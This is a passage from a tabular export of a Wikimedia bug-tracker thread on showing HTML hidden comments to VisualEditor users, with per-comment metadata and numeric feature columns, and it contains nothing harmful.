> trashcan icon].",,,1377758963,,PHID-USER-7zhn2ep5wvjhxetsbb6n,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,3,False,,,8,,1.5,0.0,0.0,0.5,0.5,4.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,2.5,7.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.5,0.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,2.0,0.0,0.5,0.0,0.0,0.0,8.5,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,3.5,1.5,26.0,0.5,0.5,5.0,0.0,0.0,0.0,0.5,3.0,0.5,1.5,0.0,1.0,7.5,21.5,0.0,0.0,0.0,1.0,0.0,1.0,0.5,0.0,0.0,0.5,0.0,0.0,3.5476190476190474,0.45238095238095233,"(In reply to comment #18)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
Of the two options I would be much happier with (1): in many circumstances these comments need to be obvious to the naive editor, who will not necessarily have the savvy or curiosity to hover over an icon. Please display these comments clearly on screen for all editors, at the point in the article where they have been inserted: different font on coloured background sounds good.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE"
239316,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"(In reply to comment #18)
> In terms of isolating hidden (aka ""invisible"") comments, the logic is pretty
> much the same as for templates, except easier: look for <!-- as the left
> boundary, then look for --> as the right boundary. Treat the result as a
> block that can be deleted or moved.

The parsing part is solved.  Comments are already preserved (as HTML comments) in the Parsoid DOM.",,,1377752273,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,26.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,11.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.4210526315789473,0.7631578947368421,"(In reply to comment #18)
QUOTE
QUOTE
QUOTE
QUOTE

The parsing part is solved.  Comments are already preserved (as HTML comments) in the Parsoid DOM."
239310,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"I agree with James Forrester that this should be done in stages, and that the first stage would be to ""show comments and let them be deleted.

In terms of isolating hidden (aka ""invisible"") comments, the logic is pretty much the same as for templates, except easier: look for <!-- as the left boundary, then look for --> as the right boundary. Treat the result as a block that can be deleted or moved.

Looking at https://en.wikipedia.org/wiki/Help:Hidden_text , it's not clear that text within an invisible comment is essentially nowikied, but that is in fact the case, because - by definition - the text can't be seen in either read or preview mode. From a programming viewpoint, this means that even if, for example, there is an http link within the comment, or a reference - both quite possible - no rendering is needed: all text should be treated as text, NOT interpreted.

What the person doing the edit sees is really the critical question. It seems to me that there are two options:

(1) Display as a text, mixed in with regular text, but in a different color font and background color. This is what is done with templates. Regarding the color: Hidden comments are typically warnings/notices to editors, so perhaps yellow? The font/coloring will, ideally, make it clear that the text is not part of the article. 

(2) Treat like a comment in Excel - put a character (I suggested a warning icon - see http://findicons.com/search/warning; in yellow) into the visible text that, when a person hovers on the icon, displays the hidden/invisible text. While this is less visible to editors, in some sense - they have to hover to read - it's more visible in the sense that hidden comments, in wikitext editing mode, are in the same font as everything else, and thus less likely to be noticed than a bright yellow warning icon.

Option (2) lends itself nicely to the second phase mentioned by James: Here there would be an icon on the toolbar, for adding a new comment. In addition, if a person hovers over an existing comment, then an editing icon appears nearby, which allows the person to edit the comment or to delete it [via trashcan icon].",,,1377735584,,PHID-USER-hirrhium5ibrtof34lwa,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,3,False,,,8,,0.6,0.2,0.0,1.8,0.8,5.8,1.2,0.2,0.0,0.4,4.2,0.2,0.0,0.0,0.6,0.6,0.2,5.4,13.2,0.2,1.2,0.4,0.2,0.2,0.2,0.2,0.0,0.2,0.2,0.6,0.2,5.0,1.8,1.2,3.4,0.0,0.4,0.2,1.0,0.8,0.2,0.4,0.0,3.2,0.0,0.0,0.0,0.4,0.4,14.2,1.2,0.4,0.0,0.4,0.0,0.2,0.4,0.0,0.4,0.2,0.6,0.4,0.0,0.2,0.0,0.2,0.0,8.6,4.2,5.0,2.6,2.2,10.8,0.0,0.0,0.2,0.0,3.8,0.0,0.2,0.0,2.2,13.2,0.8,0.2,0.6,0.0,2.2,0.0,1.0,3.6,0.6,1.4,0.8,0.0,1.2,3.7525763125763127,0.6953601953601953,"I agree with James Forrester that this should be done in stages, and that the first stage would be to ""show comments and let them be deleted.

In terms of isolating hidden (aka ""invisible"") comments, the logic is pretty much the same as for templates, except easier: look for <!-- as the left boundary, then look for --> as the right boundary. Treat the result as a block that can be deleted or moved.

Looking at URL , it's not clear that text within an invisible comment is essentially nowikied, but that is in fact the case, because - by definition - the text can't be seen in either read or preview mode. From a programming viewpoint, this means that even if, for example, there is an http link within the comment, or a reference - both quite possible - no rendering is needed: all text should be treated as text, NOT interpreted.

What the person doing the edit sees is really the critical question. It seems to me that there are two options:

(1) Display as a text, mixed in with regular text, but in a different color font and background color. This is what is done with templates. Regarding the color: Hidden comments are typically warnings/notices to editors, so perhaps yellow? The font/coloring will, ideally, make it clear that the text is not part of the article. 

(2) Treat like a comment in Excel - put a character (I suggested a warning icon - see URL in yellow) into the visible text that, when a person hovers on the icon, displays the hidden/invisible text. While this is less visible to editors, in some sense - they have to hover to read - it's more visible in the sense that hidden comments, in wikitext editing mode, are in the same font as everything else, and thus less likely to be noticed than a bright yellow warning icon.

Option (2) lends itself nicely to the second phase mentioned by James: Here there would be an icon on the toolbar, for adding a new comment. In addition, if a person hovers over an existing comment, then an editing icon appears nearby, which allows the person to edit the comment or to delete it [via trashcan icon]."
239304,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"resetting priority to high. I didn't intend to change it and didn't realise I had, sorry.",,,1377724382,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,10.0,10.0,0.0,5.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.5238095238095237,0.7619047619047619,"resetting priority to high. I didn't intend to change it and didn't realise I had, sorry."
239298,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"John Broughton suggests as a first step that hidden comments could very easily be made visible but not editable. He suggests putting the comments in a different colour, possibly white on black, to distinguish them from regular content.

Obviously being able to edit hidden comments is needed functionality too, but that is less urgent than displaying them.",,,1377724285,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,2.0,3.0,2.0,14.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,6.0,0.0,2.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,6.0,6.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,11.0,3.0,0.0,0.0,0.0,5.0,0.0,2.0,3.0,3.0,3.0,2.0,0.0,0.0,4.703125,0.78125,"John Broughton suggests as a first step that hidden comments could very easily be made visible but not editable. He suggests putting the comments in a different colour, possibly white on black, to distinguish them from regular content.

Obviously being able to edit hidden comments is needed functionality too, but that is less urgent than displaying them."
239294,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"It has been reported on en.wp today that a user of VE was:
[..] continually making changes to articles contrary to comments in the wikisource (''two examples of such comments being ""<!-- DO NOT CHANGE THIS NATIONALITY WITHOUT DISCUSSION ON TALK PAGE -->""  and ""<!-- This is, as Wikipedia guidelines suggest, as he self-identifies and by long-term consensus -->"")

This bug is already marked as high priority and has been for over 2 months. It really needs to be fixed before much longer.",,,1377721939,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,3,False,,,8,,1.0,0.0,0.0,2.5,0.5,3.0,1.0,0.0,0.0,0.0,3.0,0.5,0.0,0.0,0.0,0.0,0.0,4.5,12.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,5.5,0.0,1.5,2.5,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.5,2.0,0.0,0.0,0.5,0.0,0.0,9.5,1.0,1.5,0.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,1.0,5.0,9.5,0.5,2.5,3.5,0.0,0.0,1.5,0.0,1.5,0.0,1.5,0.0,2.5,12.0,4.5,0.0,3.0,0.0,2.5,0.0,0.0,0.5,0.0,0.5,1.0,0.0,4.0,3.7,0.8545454545454545,"It has been reported on en.wp today that a user of VE was:
[..] continually making changes to articles contrary to comments in the wikisource (''two examples of such comments being ""<!-- DO NOT CHANGE THIS NATIONALITY WITHOUT DISCUSSION ON TALK PAGE -->""  and ""<!-- This is, as Wikipedia guidelines suggest, as he self-identifies and by long-term consensus -->"")

This bug is already marked as high priority and has been for over 2 months. It really needs to be fixed before much longer."
239288,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"**ignatzmice.wiki** wrote:

Bump. https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&diff=567981801",,,1376162739,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1818181818181817,0.7272727272727273,"**ignatzmice.wiki** wrote:

Bump. URL"
239284,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"Another example: http://en.wikipedia.org/w/index.php?title=Jacques_Lacan&diff=566246717&oldid=561090875 We are getting multiple reports about this specific issue, so thanks for your attention on this.",,,1375547447,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,23.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,5.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.5,0.9545454545454546,"Another example: URL We are getting multiple reports about this specific issue, so thanks for your attention on this."
239281,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"Example of edit where displaying the hidden comment would have been very useful (because the edit goes against what is stated in the comment) :
http://en.wikipedia.org/w/index.php?title=List_of_English-language_book_publishing_companies&curid=746089&diff=564359255&oldid=563535930",,,1373895474,,PHID-USER-o34e5i3eq4nstbvcf26w,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,3.0,3.0,0.0,3.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,7.0,7.0,7.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,4.241379310344827,0.8620689655172413,"Example of edit where displaying the hidden comment would have been very useful (because the edit goes against what is stated in the comment) :
URL"
239278,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"Is there any progress or movement on this? Specifically, will hidden comments at least be displayed by the Monday deployment?",,,1373875721,,PHID-USER-j5ma2nageni56xp567v5,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,3,False,,,2,,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,13.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,13.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.608695652173913,0.9565217391304348,"Is there any progress or movement on this? Specifically, will hidden comments at least be displayed by the Monday deployment?"
239275,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"(In reply to comment #9)
> (In reply to comment #8)
> > I don't think it was officially decided.  Most likely, it will be wikitext
> > first, but that could change if the VE API is ready.
> 
> I don't know what you mean by ""the VE API"", let alone it being ""ready"". :-)
> 
> We negotiate with people to build whatever hooks they need (and we felt were
> justified) in the normal way. However, a commenting system like this feels
> more like core VE work than a plugin

Okay, based on that, I think it makes sense not to use VE for the inline comment prototype.",,,1371498950,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,10.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,27.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,4.0,10.0,19.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.125,0.6041666666666666,"(In reply to comment #9)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Okay, based on that, I think it makes sense not to use VE for the inline comment prototype."
239272,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"(In reply to comment #8)
> I don't think it was officially decided.  Most likely, it will be wikitext
> first, but that could change if the VE API is ready.

I don't know what you mean by ""the VE API"", let alone it being ""ready"". :-)

We negotiate with people to build whatever hooks they need (and we felt were justified) in the normal way. However, a commenting system like this feels more like core VE work than a plugin (so it wouldn't be a matter of hooks available for code in general); it'd sit well with the planned real-time collaborative editing functionality we're building in the new financial year, for which a chat/comment-like tool would be wanted.",,,1371429119,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,1.5,1.5,6.5,1.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,2.5,0.5,4.5,10.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,2.5,0.0,3.5,2.5,2.0,2.5,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,12.5,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,5.5,2.5,5.0,0.0,0.5,7.5,0.0,0.5,0.0,0.5,4.5,0.0,0.5,0.0,5.5,10.0,1.5,0.0,2.0,0.0,5.5,0.0,2.0,3.0,0.0,1.5,1.0,0.0,0.0,3.5952380952380953,0.8253968253968254,"(In reply to comment #8)
QUOTE
QUOTE

I don't know what you mean by ""the VE API"", let alone it being ""ready"". :-)

We negotiate with people to build whatever hooks they need (and we felt were justified) in the normal way. However, a commenting system like this feels more like core VE work than a plugin (so it wouldn't be a matter of hooks available for code in general); it'd sit well with the planned real-time collaborative editing functionality we're building in the new financial year, for which a chat/comment-like tool would be wanted."
239267,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"I don't think it was officially decided.  Most likely, it will be wikitext first, but that could change if the VE API is ready.",,,1371426788,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,3.0,3.0,7.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,3.0,10.0,13.0,3.0,3.0,7.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,3.0,3.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.466666666666667,0.9,"I don't think it was officially decided.  Most likely, it will be wikitext first, but that could change if the VE API is ready."
239259,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"(In reply to comment #6)
> (In reply to comment #5)
> >The second phase might be postponed indefinitely if the ""co-ment"" work comes to something. A treatment for in-line comments will be needed; possibly just a span of some kind. Will look at this.
> 
> I'm mentoring that (along with Tyler).  I don't think Richa's looked yet at
> integrating with VE.  But it's still early. If you think the VE API is mature
> enough that it integration is feasible, you can suggest that at bug 46440.

I know - see your own comment at bug 46440 comment 13 :-) - but I thought that the proposal was to build this for wikitext editor and then we'd take on porting it over to VE once it was done?",,,1371425605,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,16.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,3.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,16.0,3.0,3.0,3.0,0.0,2.0,0.0,2.0,6.0,0.0,5.0,0.0,9.0,16.0,8.0,2.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.265625,0.71875,"(In reply to comment #6)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I know - see your own comment at bug 46440 comment 13 :-) - but I thought that the proposal was to build this for wikitext editor and then we'd take on porting it over to VE once it was done?"
239252,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"(In reply to comment #5)
>The second phase might be postponed indefinitely if the ""co-ment"" work comes to something. A treatment for in-line comments will be needed; possibly just a span of some kind. Will look at this.

I'm mentoring that (along with Tyler).  I don't think Richa's looked yet at integrating with VE.  But it's still early. If you think the VE API is mature enough that it integration is feasible, you can suggest that at bug 46440.",,,1371424966,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,0.0,2.0,5.0,3.0,0.0,0.0,2.0,2.0,3.0,0.0,0.0,0.0,3.0,2.0,6.0,17.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,9.0,3.0,3.0,5.0,3.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,3.0,0.0,0.0,2.0,6.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,17.0,6.0,2.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,3.0,0.0,9.0,17.0,6.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.3230769230769233,0.7384615384615385,"(In reply to comment #5)
QUOTE

I'm mentoring that (along with Tyler).  I don't think Richa's looked yet at integrating with VE.  But it's still early. If you think the VE API is mature enough that it integration is feasible, you can suggest that at bug 46440."
239246,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"(In reply to comment #4)
> Quiddity, yeah, I know, I just filed that (bug 49608).

For clarity, that's a problem with HTML comments in transclusions rather than in general, which does still work. Sorry. :-(

We'd probably need to do this enhancement in stages - first, show comments and let them be deleted; later, make them editable and creatable. The second phase might be postponed indefinitely if the ""co-ment"" work comes to something. A treatment for in-line comments will be needed; possibly just a span of some kind. Will look at this.",,,1371420628,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,2,True,,,-3,,1.0,1.0,0.0,3.0,0.0,6.5,0.0,0.0,0.0,1.0,3.0,0.5,0.0,0.0,0.0,0.5,0.0,5.0,10.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,2.5,0.0,2.0,0.5,0.0,3.0,0.0,0.0,0.5,1.0,0.0,0.0,1.5,1.0,4.5,0.0,0.0,0.0,0.0,0.0,6.5,1.5,0.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,6.0,1.0,1.5,7.5,0.0,0.0,0.0,0.5,7.5,0.5,0.5,0.0,2.0,10.0,0.5,0.0,2.0,0.0,2.0,0.0,0.5,2.5,1.5,0.0,0.0,0.0,0.0,3.7801346801346805,0.8531986531986532,"(In reply to comment #4)
QUOTE

For clarity, that's a problem with HTML comments in transclusions rather than in general, which does still work. Sorry. :-(

We'd probably need to do this enhancement in stages - first, show comments and let them be deleted; later, make them editable and creatable. The second phase might be postponed indefinitely if the ""co-ment"" work comes to something. A treatment for in-line comments will be needed; possibly just a span of some kind. Will look at this."
239242,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"Quiddity, yeah, I know, I just filed that (bug 49608).",,,1371265691,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8125,0.8125,"Quiddity, yeah, I know, I just filed that (bug 49608)."
239237,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),"That bug isn't fixed then (or was re-broken), because Hidden Comments are being deleted when we save.

(This problem is now worse, because it is now only noticeable if we opt to ""Review your changes"" before saving.)

See http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Removal_of_comments_in_Infobox
and test with adding text anywhere in the article http://en.wikipedia.org/wiki/Bleak_House for example. It always removes the comments from the infobox.

There are additional threads on that page mentioning the same thing.",,,1371265603,,PHID-USER-hphmqcx66p6d6gvmjzp7,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,4.0,1.0,6.0,1.0,2.0,0.0,1.0,1.0,1.0,0.0,1.0,1.0,2.0,1.0,9.0,12.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,9.0,1.0,2.0,4.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,11.0,4.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,12.0,1.0,0.0,2.0,0.0,6.0,0.0,1.0,0.0,0.0,3.0,1.0,0.0,0.0,3.8333333333333335,0.7777777777777778,"That bug isn't fixed then (or was re-broken), because Hidden Comments are being deleted when we save.

(This problem is now worse, because it is now only noticeable if we opt to ""Review your changes"" before saving.)

See URL
and test with adding text anywhere in the article URL for example. It always removes the comments from the infobox.

There are additional threads on that page mentioning the same thing."
239231,VisualEditor: Display HTML comments to the editor (and make them editable/creatable/removable),I don't think so.  That one's just about preventing them from being silently removed on save.  This is about actually displaying them to the editor.,,,1371264951,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-nvkr7m44ao53f5uftwjr,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,16.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,16.0,3.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,3.875,0.84375,I don't think so.  That one's just about preventing them from being silently removed on save.  This is about actually displaying them to the 